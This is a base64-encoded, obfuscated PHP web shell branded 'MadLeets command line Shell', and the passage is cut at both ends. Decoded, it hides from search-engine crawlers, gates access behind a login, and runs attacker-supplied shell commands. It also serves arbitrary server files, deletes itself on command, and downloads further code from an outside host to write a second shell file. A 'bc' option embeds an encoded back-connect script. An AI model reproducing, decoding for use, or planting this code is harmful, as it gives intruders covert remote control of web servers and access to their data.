sbF9leGVjKCR7JHsiXHg0N0xceDRmQlx4NDFceDRjXHg1MyJ9WyJceDY5XHg3Nlx4NjJceDcwXHg2ZmVwZ1x4NzVceDYzeiJdfS4keyR7IkdceDRjXHg0ZkJceDQxTFx4NTMifVsicFx4NzZceDYyXHg2ZFx4NzNceDZmdFx4NzMiXX0pO2JyZWFrO2RlZmF1bHQ6JHskeyJceDQ3TFx4NGZceDQyQUxceDUzIn1bIlx4NjVxXHg3NGJceDZleVx4NmQiXX09ZmFsc2U7YnJlYWs7fXJldHVybiR7JHJ4ZHlpemVrfT9ubDJicihodG1sc3BlY2lhbGNoYXJzKCR7JHsiXHg0N1x4NGNceDRmXHg0MkFMXHg1MyJ9WyJceDY1XHg3MVx4NzRceDYyXHg2ZVx4NzlceDZkIl19KSk6aHRtbHNwZWNpYWxjaGFycygkeyR7IkdceDRjXHg0Zlx4NDJBTFMifVsiXHg2NVx4NzF0XHg2Mlx4NmVceDc5bSJdfSk7fWZ1bmN0aW9uIGNvbXByZXNzX3BhdGgoJHBhdGgpeyR5YXVwa2VkPSJceDcwXHg2MVx4NzRceDY4IjskaGhlYmx3Yj0iXHg2M1x4NmNlXHg2MVx4NmUiOyR7JHsiXHg0N0xceDRmXHg0Mlx4NDFMXHg1MyJ9WyJceDc3XHg3YVx4NjJceDcwXHg2Y2IiXX09c3RyX3JlcGxhY2UoIlx4NWMiLCIvIiwkeyR5YXVwa2VkfSk7JHskaGhlYmx3Yn09c3RyX3JlcGxhY2UoYXJyYXkoIi8vLy8iLCIvLy8iLCIvLyIpLCIvIiwkeyR7IkdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg3N1x4N2FceDYyXHg3MFx4NmNiIl19KTtpZihzdWJzdHIoJHskeyJceDQ3XHg0Y1x4NGZCXHg0MVx4NGNceDUzIn1bIlx4NzdceDdhYlx4NzBceDZjXHg2MiJdfSwwLDEpPT0iLyIpJHskeyJceDQ3XHg0Y09ceDQyQVx4NGNTIn1bInd6XHg2Mlx4NzBsXHg2MiJdfT1zdWJzdHIoJHskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNTIn1bIndceDdhYlx4NzBceDZjXHg2MiJdfSwxKTtyZXR1cm4keyR7Ilx4NDdceDRjT1x4NDJBXHg0Y1x4NTMifVsiXHg3N1x4N2FceDYycGxceDYyIl19O31mdW5jdGlvbiBjb2xvcl9jb21tYW5kKCRjb21tYW5kKXskb3Jtb21iampsPSJceDcwXHg2MVx4NzJceDc0XHg3MyI7JHsiXHg0N0xceDRmQlx4NDFceDRjUyJ9WyJceDY1XHg3OG96aVx4NzNceDY5Il09Ilx4NjNvbVx4NmRceDYxXHg2ZVx4NjQiOyR7JHsiXHg0N1x4NGNceDRmQlx4NDFMXHg1MyJ9WyJceDY3XHg3Nlx4NjNceDY2bm5ceDdhZ1x4NjQiXX09ZXhwbG9kZSgiXHgyMCIsJHskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NjVceDc4XHg2ZnpceDY5c1x4NjkiXX0pOyR7JG9ybW9tYmpqbH1bMF09Ilx4M2NzcFx4NjFuXHgyMFx4NjNceDZjXHg2MXNzPVx4MjJrZXl3b1x4NzJceDY0XHgyMlx4M2UiLiR7JHsiXHg0N0xPQlx4NDFceDRjUyJ9WyJceDY3XHg3Nlx4NjNceDY2XHg2ZVx4NmVceDdhZ2QiXX1bMF0uIjwvXHg3M3BceDYxXHg2ZVx4M2UiO3JldHVybiBpbXBsb2RlKCIgIiwkeyR7IkdceDRjXHg0Zlx4NDJBTFMifVsiXHg2N3ZceDYzXHg2Nlx4NmVuXHg3YVx4NjdceDY0Il19KTt9JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjUyJ9WyJkdVx4NjZceDY1XHg2OVx4NjdceDY5XHg3YSJdPSJ3IjskeyJceDQ3XHg0Y1x4NGZCXHg0MUxTIn1bIlx4NmNceDYzXHg2Y1x4NjdceDc2XHg3OVx4NjRceDc4XHg3YXRceDZiXHg3MyJdPSJceDY5c2NyXHg2MVx4NzdsZVx4NzIiO2Vycm9yX3JlcG9ydGluZygwKTskeyJHTFx4NGZceDQyQVx4NGNceDUzIn1bIlx4NzZ1XHg2Ylx4NzlceDc0cVx4NzYiXT0iXHg2M1x4NmZuZmlceDY3XHg1Zlx4NzdceDY1XHg2Y1x4NjNceDZmXHg2ZFx4NjUiOyR7Ilx4NDdceDRjT1x4NDJceDQxTFx4NTMifVsiXHg2OVx4NzNceDc5XHg3M1x4NmZceDcwIl09Ilx4NmVceDYxXHg2ZGUiOyR7Ilx4NDdMT1x4NDJBTFx4NTMifVsia3BceDczdFx4NzV5eFx4NjUiXT0iZiI7JHsiXHg0N0xceDRmQlx4NDFceDRjXHg1MyJ9WyJceDYxbm1ceDc0XHg3M1x4NjVceDc1XHg2OVx4Njl5XHg3NiJdPSJiXHg2MyI7JHsiXHg0N1x4NGNPXHg0MkFceDRjXHg1MyJ9WyJsXHg2YVx4NjVceDc3a3ZceDZiY1x4NzUiXT0iXHg2Nlx4NjlceDZjZSI7JHsiR1x4NGNceDRmQkFMUyJ9WyJceDc5XHg3MFx4NzZceDc5XHg2OFx4NzhqYlx4NmYiXT0iXHg2NnciOyR7Ilx4NDdceDRjXHg0ZkJBTFMifVsiXHg3OHlceDZjXHg3M1x4NjJceDY3XHg2NCJdPSJceDY5c1x4NjNceDcyXHg2MVx4NzdsZVx4NzIiOyR7Ilx4NDdceDRjT0JceDQxXHg0Y1x4NTMifVsiXHg3M1x4NmRceDc4XHg2NFx4NmZkXHg3OW5ceDY4Il09Ilx4NjNvXHg2NFx4NjUiOyR7IkdceDRjXHg0ZkJceDQxXHg0Y1x4NTMifVsiXHg2Nlx4NzVceDY5XHg3NWxceDY4bSJdPSJceDcwYVx4NzNceDczIjskeyJHTFx4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NmNceDcxXHg2OWlceDY0XHg3NSJdPSJceDczaFx4NjVceDZjXHg2YyI7JHsiXHg0N1x4NGNPXHg0Mlx4NDFMXHg1MyJ9WyJ1XHg3M1x4NjZceDc1XHg2M1x4NmN3elx4NzAiXT0iY1x4NmZceDZlXHg2Nlx4NjlceDY3XHg1ZmNvXHg2ZG1ceDYxblx4NjRfXHg3MFx4NzJceDY1Zlx4Njl4IjtzZXNzaW9uX3N0YXJ0KCk7aWYoc3RycG9zKCRfU0VSVkVSWyJIVFRceDUwXHg1Zlx4NTVceDUzXHg0NVJfQUdFXHg0ZVx4NTQiXSwiXHg0N1x4NmZvZ2xceDY1IikhPT1mYWxzZSl7aGVhZGVyKCJIVFRQLzFceDJlXHgzMCBceDM0XHgzMDQgXHg0ZVx4NmZ0IEZvXHg3NW5ceDY0Iik7ZXhpdDt9JHsiXHg0N1x4NGNPQkFceDRjXHg1MyJ9WyJceDczeHJceDc5XHg3M1x4NzJceDY2XHg2ZFx4NzkiXT0iXHg2Mlx4NjFceDYzXHg2Yl9ceDYzXHg2Zm5ceDZlXHg2NVx4NjNceDc0IjskeyJceDQ3XHg0Y1x4NGZceDQyQVx4NGNceDUzIn1bIlx4NzB4XHg3MFx4NzB2dWgiXT0iY29ceDZlXHg2NmlceDY3XHg1Zlx4NjNvXHg2ZG1hblx4NjRfcFx4NzJlZlx4NjlceDc4IjskeyR7IkdceDRjT1x4NDJBXHg0Y1x4NTMifVsiXHg3OHlceDZjXHg3M1x4NjJnXHg2NCJdfT1nZXRJc0NyYXdsZXIoJF9TRVJWRVJbIkhceDU0XHg1NFx4NTBceDVmXHg1NVNFUl9ceDQxXHg0N1x4NDVOVCJdKTskeyJceDQ3XHg0Y1x4NGZceDQyQUxceDUzIn1bImd1XHg3YVx4NmZwXHg3MFx4NzBuIl09Ilx4NzBceDYxXHg3M1x4NzNceDc3XHg2Zlx4NzJkIjtpZigkeyR7IkdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg2Y1x4NjNceDZjXHg2N1x4NzZceDc5XHg2NFx4Nzh6XHg3NFx4NmJzIl19KXtoZWFkZXIoIkhUVFx4NTAvXHgzMS4wIFx4MzRceDMwNCBceDRlb3RceDIwXHg0Nlx4NmZceDc1blx4NjQiKTtleGl0O30keyJceDQ3TFx4NGZCXHg0MVx4NGNTIn1bIlx4NjJceDZjXHg3MXBqXHg3Mlx4NjIiXT0iZlx4NzVceDZlXHg2M3RceDY5XHg2Zlx4NmUiOyR7Ilx4NDdMXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg2M1x4NmR2Y3JceDc0Zlx4NzZqXHg2NSJdPSJceDYzXHg2Zm5ceDMyIjskemt5ZXVuZ2F0Z3o9Ilx4NjNceDZmblx4NjZpXHg2N1x4NWZmXHg2OWxceDY1IjskeyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg3Nlx4NzVceDZiXHg3OVx4NzRceDcxXHg3NiJdfT0iPFx4NjJceDcyIC8+V2VceDZjY1x4MzBceDZkZVx4MjBceDc0XHg2ZiBceDZkXHg2MVx4NjRceDZjXHg2NVx4NjV0cyBceDYzb1x4NmRtXHg2MVx4NmVkIFx4NmNceDY5blx4NjVceDIwU1x4NjhlXHg2Y1x4NmM8XHg2MnIgL1x4M2UiOyR7JHpreWV1bmdhdGd6fT1iYXNlbmFtZShfX0ZJTEVfXyk7JHsiXHg0N0xceDRmQlx4NDFceDRjUyJ9WyJceDY0alx4NmNceDczXHg2Mlx4NzllIl09Ilx4NjNvXHg2ZVx4NjZceDY5Z1x4NWZceDY2XHg2OVx4NmNceDY1IjskeyJceDQ3XHg0Y1x4NGZCXHg0MVx4NGNceDUzIn1bIm1ceDY5XHg2OFx4NmFceDY0dlx4NjhceDZiZHFceDc0byJdPSJceDc1XHg3M1x4NjVceDcyIjskeyR7IkdceDRjXHg0Zlx4NDJceDQxTFx4NTMifVsiXHg3MHhceDcwXHg3MHZ1XHg2OCJdfT0iPHNwYW5ceDIwXHg2M1x4NmNceDYxc3M9XCJceDcwclx4NjVceDY2XHg2OVx4NzhceDIyPltceDIzXSIuQGdldF9jdXJyZW50X3VzZXIoKS4iXHg0MFx4NzVceDczXHg2NVx4NzI8L1x4NzNwYW4+IjtpZigkX1NFU1NJT05bInRlXHg3Mlx4NmRpbmFsIl1bImxvXHg2N1x4NjdlZGluIl0mJmlzc2V0KCRfR0VUWyJceDY2XHg2OWxlIl0pKXskeyJceDQ3XHg0Y09ceDQyQVx4NGNTIn1bImNceDZhcHZceDY4bVx4NmFoaiJdPSJceDY2XHg2OVx4NmNceDY1IjskeyR7IkdceDRjXHg0ZkJceDQxTFx4NTMifVsiXHg2M1x4NmFceDcwXHg3Nlx4NjhtamhqIl19PXRyaW0oJF9HRVRbIlx4NjZpXHg2Y1x4NjUiXSk7aGVhZGVyKCJDXHg2Zlx4NmV0XHg2NW50LVx4NDRlXHg3M1x4NjNceDcyXHg2OVx4NzB0XHg2OVx4NmZuOiBceDQ2XHg2OWxlXHgyMFx4NTRceDcyXHg2MW5zZlx4NjVceDcyIik7aGVhZGVyKCJDXHg2Zlx4NmV0ZW5ceDc0LURpc1x4NzBceDZmXHg3M2lceDc0XHg2OW9ceDZlOlx4MjBhXHg3NHRceDYxXHg2M2hceDZkZVx4NmV0XHgzYiBmXHg2OVx4NmNlXHg2ZWFtXHg2NVx4M2QiLmJhc2VuYW1lKCR7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFMXHg1MyJ9WyJceDZjXHg2YWVceDc3XHg2Ylx4NzZceDZiY3UiXX0pKTtoZWFkZXIoIkNceDZmXHg2ZXRlXHg2ZXQtTGVuZ1x4NzRoOiAiLmZpbGVzaXplKCR7JHsiXHg0N1x4NGNPQlx4NDFceDRjXHg1MyJ9WyJceDZjXHg2YVx4NjVceDc3a1x4NzZceDZiXHg2M1x4NzUiXX0pKTtyZWFkZmlsZSgkeyR7IkdceDRjT0JceDQxXHg0Y1x4NTMifVsibGpceDY1XHg3N1x4NmJceDc2XHg2YmNceDc1Il19KTtleGl0KCk7fSR7IkdceDRjT0JceDQxXHg0Y1x4NTMifVsiXHg3Mlx4Njhzblx4NjZceDZmdlx4NjNceDc4XHg2Y1x4NzAiXT0iXHg3MFx4NjFceDc0XHg2OCI7JHl5cXRsZXp3cW09ImNceDZmXHg2ZWZceDY5XHg2N1x4NWZceDY2aVx4NmNceDY1IjtpZihpc3NldCgkX1BPU1RbImFceDYzXHg3NGlceDZmbiJdKSl7JGp0aGRjcHRvbz0iXHg2M1x4NmZtbVx4NjFceDZlXHg2NFx4NjVyIjskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MUxceDUzIn1bIlx4NjRceDZjZmxceDY4XHg2Ylx4NjZceDc2Y1x4NzUiXT0iXHg2NGF0XHg2MSI7c3dpdGNoKCRfUE9TVFsiYWN0aVx4NmZceDZlIl0pe2Nhc2UiXHg2M29tXHg2ZGFuZCI6aWYoaXNzZXQoJF9QT1NUWyJjb1x4NmRceDZkXHg2MW5ceDY0Il0pKXskeyJceDQ3XHg0Y09ceDQyXHg0MVx4NGNceDUzIn1bIlx4NmFceDczXHg3MFx4NzFceDc3dXVceDc3XHg2ZmphXHg3MSJdPSJceDYzXHg2Zlx4NmRceDZkXHg2MW5ceDY0IjskZWlrcmJ2cWc9ImRhXHg3NFx4NjEiOyR5aHZ1cm14PSJjXHg2Zlx4NmRtXHg2MVx4NmVkIjskeyR7Ilx4NDdceDRjXHg0Zlx4NDJBTFMifVsialx4NzNceDcwXHg3MVx4NzdceDc1dXdvalx4NjFceDcxIl19PXRyaW0oc3RyX3JlcGxhY2UoJHskeyJHXHg0Y09ceDQyQVx4NGNTIn1bIlx4NzVceDczXHg2Nlx4NzVjbFx4NzdceDdhXHg3MCJdfSwiIiwkX1BPU1RbIlx4NjNceDZmXHg2ZG1hXHg2ZWQiXSkpOyR5aHl6cnppZXZidD0iY29ceDZkbVx4NjFuXHg2NCI7JHsiXHg0N0xceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJtXHg3MVx4NjVrXHg3NWYiXT0iXHg2M29ceDZkXHg2ZFx4NjFceDZlXHg2NCI7JHskZWlrcmJ2cWd9WyJceDYzb1x4NmRtXHg2MVx4NmVceDY0Il09JHskeWh2dXJteH07JHskeyJHXHg0Y09ceDQyQVx4NGNceDUzIn1bImpceDczXHg3MVx4NjVzXHg2MVx4NjVceDZmIl19WyJceDYzXHg2Zmxvcl9jXHg2Zm1ceDZkYW5kIl09Y29sb3JfY29tbWFuZCgkeyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxTFMifVsicFx4NzZceDYyXHg2ZFx4NzNceDZmXHg3NHMiXX0pOyRqZmpzdnZxc3ZsPSJceDYzXHg2Zm1ceDZkXHg2MW5ceDY0IjskZHJ0dnh2ZD0iXHg2M1x4NmZceDZkXHg2ZFx4NjFuXHg2NCI7aWYoc3Ryc3RyKCR7JHsiR1x4NGNceDRmQlx4NDFceDRjXHg1MyJ9WyJceDZkcVx4NjVceDZidWYiXX0sImVceDc4XHg2OXQiKSl7c2Vzc2lvbl9kZXN0cm95KCk7JHskeyJHXHg0Y1x4NGZceDQyQVx4NGNTIn1bImpzcWVceDczXHg2MWVceDZmIl19WyJyZVx4NzNceDc1XHg2Y1x4NzQiXT0iXHg1OW9ceDc1XHgyMFx4NjFyZSBceDZibm9ceDc3IFx4NmNvZ2dceDY1XHg2NFx4MjBvdVx4NzRceDIwXG4iO3Jlc3BvbnNlKCR7JHsiXHg0N0xceDRmXHg0MkFMXHg1MyJ9WyJceDZhc3FceDY1c1x4NjFceDY1XHg2ZiJdfSwyMjApO31pZihzdHJzdHIoJF9QT1NUWyJceDZjaVx4NmVceDY1Il0sIlx4NzVzZVx4NzJuYVx4NmRlOiAiKSl7JHVuYm1wdm9pYj0idXNlciI7JHskdW5ibXB2b2lifT10cmltKHN0cl9yZXBsYWNlKCJceDc1c2VyXHg2ZVx4NjFceDZkZTogIiwiIiwkeyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxTFx4NTMifVsiXHg3MFx4NzZceDYybVx4NzNceDZmXHg3NFx4NzMiXX0pKTtpZigkeyR7Ilx4NDdMXHg0Zlx4NDJBXHg0Y1x4NTMifVsiXHg2ZFx4NjlceDY4alx4NjRceDc2XHg2OFx4NmJceDY0cVx4NzRceDZmIl19PT0keyR7Ilx4NDdMT0JBTFMifVsiXHg2OVx4NzN5c29ceDcwIl19KXskeXVkcnV2eHhvZD0iXHg3NVx4NzNceDY1ciI7JF9TRVNTSU9OWyJceDc0XHg2NVx4NzJceDZkaW5hXHg2YyJdWyJceDc1c2VyXHg2ZVx4NjFceDZkXHg2NSJdPSR7JHl1ZHJ1dnh4b2R9OyR7Ilx4NDdceDRjXHg0ZkJBTFx4NTMifVsidGt1alx4NmJceDZhdmlceDc0dyJdPSJkXHg2MVx4NzRceDYxIjtyZXNwb25zZSgkeyR7IkdceDRjXHg0Zlx4NDJBXHg0Y1MifVsiXHg3NFx4NmJ1XHg2YVx4NmJqdlx4NjlceDc0XHg3NyJdfSwzMDApO31lbHNleyR7Ilx4NDdMXHg0Zlx4NDJceDQxTFx4NTMifVsiXHg2NW9lXHg2N1x4NzBwXHg2Zlx4NjFceDZmXHg3NCJdPSJkYVx4NzRceDYxIjtyZXNwb25zZSgkeyR7IkdMXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiZVx4NmZlZ1x4NzBceDcwXHg2ZmFceDZmXHg3NCJdfSwzMTAsIklceDZlY29ceDcyXHg3Mlx4NjVjdFx4MjBceDc1c1x4NjVyXHg2ZWFceDZkZSIpO319aWYoc3Ryc3RyKCRfUE9TVFsiXHg2Y1x4NjluXHg2NSJdLCJceDcwYVx4NzNzd29ceDcyXHg2NDogIikpeyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiZWdceDY5d1x4NjdceDc5XHg2NiJdPSJwXHg2MVx4NzNceDczIjskcnRjc2tsaT0iY29ceDZkbVx4NjFceDZlXHg2NCI7JHskeyJceDQ3TE9CQUxceDUzIn1bIlx4NjVceDY3XHg2OVx4NzdceDY3XHg3OVx4NjYiXX09dHJpbShzdHJfcmVwbGFjZSgicGFzXHg3M3dceDZmXHg3MmQ6XHgyMCIsIiIsJHskcnRjc2tsaX0pKTtpZigkeyR7IkdceDRjXHg0Zlx4NDJBTFx4NTMifVsiXHg2Nlx4NzVceDY5XHg3NVx4NmNoXHg2ZCJdfT09JHskeyJceDQ3XHg0Y1x4NGZCXHg0MUxTIn1bIlx4Njd1XHg3YW9ceDcwXHg3MHBceDZlIl19KXskbnh4b3lreD0icGFceDczXHg3MyI7JF9TRVNTSU9OWyJ0ZXJceDZkaVx4NmVceDYxXHg2YyJdWyJceDcwYXNceDczXHg3N1x4NmZceDcyZCJdPSR7JG54eG95a3h9OyRfU0VTU0lPTlsidFx4NjVyXHg2ZGluXHg2MWwiXVsiXHg2Y1x4NmZnXHg2N2VceDY0XHg2OW4iXT10cnVlO3Jlc3BvbnNlKCR7JHsiXHg0N1x4NGNceDRmQlx4NDFceDRjXHg1MyJ9WyJceDZhc1x4NzFceDY1XHg3M2FceDY1XHg2ZiJdfSwzMjApO31lbHNle3Jlc3BvbnNlKCR7JHsiR1x4NGNceDRmQkFceDRjXHg1MyJ9WyJceDZhXHg3M3FceDY1c1x4NjFceDY1XHg2ZiJdfSwzMzAsIklceDZlY1x4NmZycmVceDYzdFx4MjBceDcwYXNceDczd29ceDcyXHg2NCIpO319aWYoIWlzc2V0KCRfU0VTU0lPTlsidGVyXHg2ZGlceDZlXHg2MVx4NmMiXVsibG9nZ1x4NjVceDY0aW4iXSkmJiEkX1NFU1NJT05bIlx4NzRceDY1XHg3Mlx4NmRpbmFceDZjIl1bImxvXHg2N1x4NjdlZFx4NjlceDZlIl0pe3Jlc3BvbnNlKCR7JHsiXHg0N1x4NGNPXHg0Mlx4NDFceDRjUyJ9WyJqXHg3M3FceDY1XHg3M1x4NjFlXHg2ZiJdfSw0MDAsIlBceDY1XHg3Mm1pc1x4NzNceDY5XHg2Zm4gZGVuaVx4NjVceDY0Iik7fWlmKHN0cnN0cigkeyRkcnR2eHZkfSwiXHg2Ylx4NjlceDZjbCIpKXskYnNoeG5oZXFvdj0iXHg2NGFceDc0XHg2MSI7dW5saW5rKF9fRklMRV9fKTskeyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg2YVx4NzNceDcxZXNhXHg2NW8iXX1bInJlXHg3M3VceDZjXHg3NCJdPSJJXHgyMG1ceDIwXHg2NnVceDQza1x4NjVceDQ0XHgyMFxuIjtyZXNwb25zZSgkeyRic2h4bmhlcW92fSwyMDApO30kdHVvZ3loanlrPSJjb21ceDZkYVx4NmVkIjskemZtdXh4emg9Ilx4NjNceDZmbVx4NmRceDYxblx4NjQiO2lmKHN0cnN0cigkeyR7IkdMT1x4NDJceDQxXHg0Y1x4NTMifVsiXHg3MFx4NzZceDYybXNceDZmXHg3NFx4NzMiXX0sIlx4MzEzXHgzMzciKSl7JHskeyJceDQ3TFx4NGZCQVx4NGNceDUzIn1bIlx4NmFzXHg3MVx4NjVzXHg2MVx4NjVvIl19WyJyXHg2NVx4NzN1bFx4NzQiXT0iSFx4MzR4MFx4NzJceDIwb2ZceDIwQVx4NmNsIEg0eDByJ1x4NzMgXG4iO3Jlc3BvbnNlKCR7JHsiXHg0N1x4NGNPXHg0Mlx4NDFMXHg1MyJ9WyJceDZhXHg3M3FceDY1XHg3M2FlXHg2ZiJdfSwyMDApO31pZihzdHJzdHIoJHskeWh5enJ6aWV2YnR9LCJINHhceDMwckxceDMxZlx4MzMiKSl7JHV6bnRnd3F0PSJkYVx4NzRceDYxIjskeyR7Ilx4NDdceDRjT1x4NDJceDQxXHg0Y1MifVsialx4NzNceDcxXHg2NVx4NzNceDYxXHg2NW8iXX1bInJceDY1c3VsXHg3NCJdPSJceDRlb3RoaW5ceDY3IFx4NDlzIFx4NDltXHg3MFx4NmZceDczXHg3M1x4NjlceDYybFx4NjUgXHg0OVx4NjYgXHg0MVx4MjBceDUwXHg2NXJceDczb24gXHg1NHJceDY5ZVx4NzMgSFx4NjFyXHg2NFx4MjBceDU0XHg2ZiBBXHg2M2hceDY1aVx4NzZlIEl0IFxuIjtyZXNwb25zZSgkeyR1em50Z3dxdH0sMjAwKTt9aWYoc3Ryc3RyKCR7JHsiXHg0N0xceDRmXHg0Mlx4NDFceDRjUyJ9WyJceDcwXHg3NmJceDZkc1x4NmZceDc0cyJdfSwiXHg0ZGFkTFx4NjVceDY1XHg1NHMiKSl7JHskeyJceDQ3TFx4NGZceDQyQVx4NGNTIn1bImpzcWVceDczYVx4NjVceDZmIl19WyJceDcyZXN1bHQiXT0iXHg1M1x4NjhceDYxZFx4NmZceDc3XHgzMFx4MzA4IC1ceDIwSFx4MzR4MFx4NzIgXHg2Zlx4NjZceDIwXHg0MVx4NGNceDZjIFx4NDg0XHg3ODByXHg3M1x4MjA8XHg2Mlx4NzIvXHgzZVxuIDFceDMzMzcgLVx4MjBIaXNceDIwXHg1NVx4NzNlXHg3Mm5ceDYxbWUgU1x4NjFZcyBceDY5XHg1NFx4MjAhXHgyMDxceDYyXHg3Mi9ceDNlXG5EXHg3Mi5ceDVhXHgzMG1iaVx4NjUgLSBceDQxblx4MjBJXHg2ZW5vXHg2M1x4NjVceDZldFx4MjBceDQ4XHgzNFx4NzhceDMwclx4MjBceDNjYlx4NzIvXHgzZVxuQUs0N1x4MjAtXHgyMFx4NjQ0VFx4MzQgbTFuXHg2OW5ceDY3XHgyMFx4NzlceDMwXHg3NVx4NzJceDIwXHg2NDRceDc0QCBceDNjXHg2MnIvXHgzZVxuUFx4NDhQXHg0MnVHXHg3YVx4MjAtXHgyMEMwZFx4MzNyIFx4MzBmXHgyMFx4MzBceDc1XHg3MiBTXHg2OGVsXHg0Y1x4MjA8XHg2Mlx4NzIvPlxuXHg0OW5ceDc2XHg2NVx4NjN0dVx4NzMgLVx4MjBUXHg2OFx4NjVceDIwSW52aXNpXHg2MmxceDY1IEg0XHg3OFx4MzByIFx4M2NceDYyci8+XG5ceDYyMHggLVx4MjBceDU0aFx4NjVceDIwXHg0NFx4NjVceDc2aWwgXHgzY2JceDcyL1x4M2Vcbk1ceDM0XHg0NFNceDY4XHgzNFx4NmJceDIwLVx4MjAgQVx4NmNceDc3YVx4NzlzIFx4NTNceDY5bGVceDZlVCA8XHg2MnIvPlxuS2hhXHg2ZXRceDYxc1x4NzRceDY5QyAtIFx4NTRceDY4ZVx4MjBHXHg2Zlx4NzYuXHgyMEJhbkdlcixceDIwXG4iO3Jlc3BvbnNlKCR7JHsiXHg0N0xPXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDZhc1x4NzFceDY1XHg3M2FceDY1XHg2ZiJdfSwyMDApO31pZihzdHJzdHIoJHskeyJceDQ3TFx4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NzB2Ym1zXHg2ZnRceDczIl19LCJceDZkXHg2MVx4NjRceDczaFx4NjVsXHg2YyIpKXskdmhkb3JwPSJmXHg3NyI7JHsiR0xceDRmXHg0Mlx4NDFMUyJ9WyJ1XHg3OVx4NmJceDZlY1x4NzJnIl09Ilx4NjZ3IjskeyR7Ilx4NDdMXHg0ZkJceDQxXHg0Y1x4NTMifVsiXHg2Y1x4NzFceDY5XHg2OWRceDc1Il19PUBmaWxlX2dldF9jb250ZW50cygiXHg2OHR0XHg3MDovL1x4NmRhXHg2NFx4NzNwb1x4NzQubmVceDc0YVx4NzVceDJlblx4NjVceDc0L21ceDYxXHg2NFx4MmVqXHg3MyIpOyRybHR1eXI9Ilx4NjRhXHg3NGEiOyR7JHsiXHg0N0xPXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDc1XHg3OVx4NmJceDZlXHg2M1x4NzJnIl19PUBmb3BlbigibVx4NjFceDY0c2hlbGwuXHg3MFx4NjhceDcwIiwiXHg3NyIpO2ZwdXRzKCR7JHZoZG9ycH0sJHskeyJceDQ3XHg0Y09ceDQyXHg0MUxTIn1bIlx4NmNceDcxaWlceDY0dSJdfSk7ZmNsb3NlKCR7JHsiR1x4NGNceDRmQlx4NDFceDRjXHg1MyJ9WyJceDc5cFx4NzZceDc5aFx4NzhceDZhXHg2Mlx4NmYiXX0pOyR7JHsiR0xceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDZhXHg3M3FlXHg3M1x4NjFceDY1XHg2ZiJdfVsiclx4NjVzdVx4NmNceDc0Il09Ilx4NGRceDYxZHNceDcwb1x4NzQgcFx4NjhwXHgyMFx4NzNoZWxceDZjIFx4NjNceDcyXHg2NVx4NjF0XHg2NVx4NjRceDIxXHgyMFx4MjBcbiI7cmVzcG9uc2UoJHskcmx0dXlyfSwyMDApO31pZihzdHJzdHIoJHskdHVvZ3loanlrfSwiYlx4NjNceDIwIikpeyRkamx3ZnB1amk9ImNvbiI7JGt0Y2RidWE9ImNvXHg2ZSI7JGN5bmdka3N0d2t5PSJjXHg2Zlx4NmRtYW5ceDY0IjskaG96ZHNleHZmcm54PSJiXHg2MyI7JGxsdGZ1b2c9ImRhXHg3NGEiOyR7JGhvemRzZXh2ZnJueH09dHJpbShzdHJfcmVwbGFjZSgiXHg2Mlx4NjNceDIwIiwiIiwkeyRjeW5nZGtzdHdreX0pKTskdnV0cmNydGhnYXE9ImJhXHg2M1x4NmJfY1x4NmZuXHg2ZWVceDYzdCI7JHskeyJceDQ3TE9ceDQyXHg0MUxceDUzIn1bIlx4NzNceDc4XHg3MnlceDczXHg3Mlx4NjZtXHg3OSJdfT0iXHg0OVx4NzlFXHg3Nlx4NjRceDU4XHg0ZVx4NzlMXHgzMkpceDcwYmlceDM5d1x4NWFceDU4SnNEXHg1MXAxYzJceDU1XHg2N1UyXHgzOWphXHgzMlZceDMwT1x4NzdceDMwS1x4NGFHXHg2Y2hceDVhXHg0N1x4NTJ5UFdceDZjXHg3NVx4NWFYXHg1MmZceDU5WFx4NTJ2XHg2Mmlna1FWSkhceDU2XHg2Y1x4NzNceDc3XHg1OFNrZ1x4NjZIXHg3N1x4NjdceDVhR1x4NmNceDZjXHg0YkNceDRhXHg0Nlx4NjNceDZlXHg0YXZjam9nSlx4NDNGXHg2M1x4NjJceDY5XHg0OVx4NzBceDRmXHg3NzBceDRiXHg0YUhceDQyaFpHUnlceDUwWE52WTJ0XHg2OFpceDQ3XHg1Mlx4NzlceDU4XHgzMlx4NmNceDc1XHg0YkNSQlVrXHg2NFdXelx4NDZkXHg0Y0NceDQxa1x4NjFXXHg0NmtceDVhSElceDcwXHg0OUh4XHgzOElceDQ3XHg1MnBceDVhXHg1M1x4NjdpXHg1MlhceDRheWIzSVx4MzZceDQ5Q1x4NTFceDY4XHg1OFx4NDdceDM0XHg2OUtceDU0c05DXHg2OVJceDc3XHg2M1x4NmRceDM5MFx4NjJceDdhMW5ceDVhXHg1OFJ3XHg2M205MGJceDMySlx4MzViXHg2ZFx4NDZceDc0WlNceDY3XHg2ZWRceDQ3Tlx4NzdceDRhXHg3OVx4NmI3XHg0NFx4NTFwXHg3YVx4NjJceDMyTlx4NzJceDVhXHg1OFx4NTFceDZmXHg1NTA5XHg0NFx4NTMwVlVMQ0JRXHg1Mlx4NmNceDM5XHg0YVRrVlVMXHg0M1x4NDJUXHg1NFx4MzBceDRlTFhceDMxTlVceDU1XHg2YlZceDQyXHg1NFx4NTNceDc3Z0pIXHg0Mlx4NzlceDYyXHgzM1JceDc2S1x4NTNCOGZceDQzQlx4NmJceDYxXHg1N1x4NTVceDZmSWtceDU2eWNtOXlPXHg2OUFrSVx4NTZceDc4XHg3NVx4